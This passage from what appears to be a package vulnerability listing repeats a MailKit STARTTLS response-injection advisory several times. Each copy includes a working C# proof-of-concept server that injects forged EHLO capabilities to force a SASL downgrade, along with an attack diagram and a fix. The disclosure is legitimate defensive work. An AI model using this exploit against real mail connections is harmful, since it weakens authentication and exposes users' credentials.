    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

May 30, 2020

2.6.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Apr 04, 2020

2.5.2 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Mar 14, 2020

2.5.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Feb 15, 2020

2.5.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

